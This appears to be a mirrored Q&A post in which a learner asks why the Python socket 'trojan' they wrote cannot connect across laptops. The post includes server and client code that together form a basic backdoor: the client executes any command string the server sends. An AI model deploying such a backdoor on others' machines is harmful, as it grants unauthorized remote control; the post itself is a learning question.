【发布时间】:2021-03-27 14:03:08
【问题描述】:
我目前正在尝试通过使用 python 和套接字导入制作特洛伊木马来了解服务器和客户端的工作方式,我的客户端和服务器在我的计算机上完美运行,但是当我将客户端发送到另一台笔记本电脑时,服务器无法连接。即使我在同一个 wifi 网络上也会发生这种情况。
服务器:
import socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = ''
port = 1234
server.bind((host, port))
server.listen(5)
run = True
client, addr = server.accept()
print('Got connection from',addr)
while run:
try:
data = input('>>>')
client.send(data.encode('UTF-8'))
msg = client.recv(1024)
print(msg.decode('UTF-8'))
except ConnectionResetError:
print('Client lost server connection')
print('Trying to connect . . .')
client, addr = server.accept()
print('Got connection from',addr)
客户:
import socket
import os
server = socket.socket()
host = '127.0.0.1'
port = 1234
run = True
server.connect((host,port))
while run:
msg = server.recv(1024)
os.popen(msg.decode('UTF-8'))
server.send('Client online . . .'.encode('UTF-8'))
【问题讨论】:
标签: python python-3.x sockets server client